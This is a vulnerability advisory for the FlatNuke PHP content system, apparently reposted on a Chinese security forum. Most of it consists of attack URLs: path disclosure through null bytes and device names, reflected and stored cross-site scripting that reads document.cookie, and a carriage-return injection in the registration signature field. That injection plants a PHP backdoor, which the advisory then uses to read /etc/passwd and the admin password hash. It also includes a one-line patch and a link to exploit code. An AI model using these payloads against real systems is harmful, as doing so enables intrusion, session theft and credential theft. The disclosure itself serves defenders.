文章作者：rgod
software:
author site:
http://flatnuke.sourceforge.net/
path disclosure:
http://[target]/[path]/themes/butterfly/structure.php
supllying a null byte to mod parameter
http://[target]/[path]/index.php?mod=/%00/Vecchi_sondaggi
supplying reserved device names to mod parameter
http://[target]/[path]/index.php?mod=prn
http://[target]/[path]/index.php?mod=nul
http://[target]/[path]/index.php?mod=aux
etc.
(1) cross site scripting:
http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>
(2) if register_globals in php.ini are off (often), cross site scripting:
http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>
patch for (2):
replace at line 15: if (eregi("footer.php",$PHP_SELF))
with: if (eregi("footer.php",$SERVER['PHP_SELF']))
(3) cross site scripting: a user can send news to the admin to evaluate, and in the message body
insert evil javascript code, so when admin opens news sent, javascript will run. Try this in message body:
<script>alert(document.cookie)</script>
remote commands execution:
when a user registers, flatnuke creates a username.php file in /forum/users directory, like this:
<?
#b0d7282f4b6f1e09f69c42f148055b5a
#jimihendrix
#
jimihendrix@email.com
#artist
#whereimfrom
#images/clanbomber.png
#signature
#0
?>
if you call the file, nothing is executed, lines are commented with # char
but when you register you can insert ASCII char(13) in records, so if you put it in signature, you have
<?
#b0d7282f4b6f1e09f69c42f148055b5a
#jimihendrix
#
jimihendrix@email.com
#artist
#whereimfrom
#images/clanbomber.png
#
signature
#0
?>
now if 'signature' is a php instruction like this:
system($HTTP_GET_VARS[command]);
you have a backdoor on target system and launch commands, example:
http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=ls%20-la
to list directories...
http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20/etc/passwd
to see /etc/passwd file
http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20admin.php
to see md5 hash admin password...
this is my php proof of concept exploit code with proxy support:
http://www.eviloctal.com/forum/read.php?tid=13292
